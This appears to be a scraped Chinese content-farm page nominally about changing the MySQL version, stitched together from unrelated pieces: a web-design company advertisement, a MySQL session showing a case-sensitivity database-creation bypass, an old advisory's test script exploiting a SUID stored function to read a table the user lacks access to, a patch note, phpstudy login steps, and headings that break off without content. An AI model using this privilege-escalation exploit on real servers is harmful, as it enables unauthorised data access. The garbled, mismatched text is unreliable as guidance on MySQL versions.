189 8069 5689

MySQL怎么修改版本 修改mysql数据库

如何修改mysql server版本号避开漏洞

1、创建数据库

创新互联公司专注为客户提供全方位的互联网综合服务,包含不限于成都做网站、网站建设、瑶海网络推广、微信小程序定制开发、瑶海网络营销、瑶海企业策划、瑶海品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;创新互联公司为所有大学生创业者提供瑶海建站搭建服务,24小时服务热线:18982081108,官方网址:www.cdcxhl.com

$ mysql -h my.mysql.server -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql create database another;

ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql create database sAmple;

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1;

drop database if exists mysqltest2;

drop function if exists f_suid;

--enable_warnings

# Prepare playground

create database mysqltest1;

create database mysqltest2;

create user malory@localhost;

grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0;

grant execute on function test.f_suid to malory@localhost;

use mysqltest2;

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from mysqltest2.t1);

return 0;

end|

delimiter ;|

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil());

select @a, @b;

connection default;

drop user malory@localhost;

drop database mysqltest1;

drop database mysqltest2;

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

phpstudy怎么修改mysql版本

1.首先查看phpstudy中mysql的路径:比如:E:\phpStudy\MySQL\bin

2.然后打开dos窗口,将目录切换至mysql,bin目录下:

3.输入mysql命令,进行连接:mysql -h localhost -u root -p 回车;输入密码再次回车。mysql连接成功!

mysql修改版本

我们知道,mysql的不同版本,有可能会存在着一些差异,比如:

hive中支持的数据转换:

linux一次导入多个sql文件


分享题目:MySQL怎么修改版本 修改mysql数据库
转载源于:http://jkwzsj.com/article/dohooho.html

其他资讯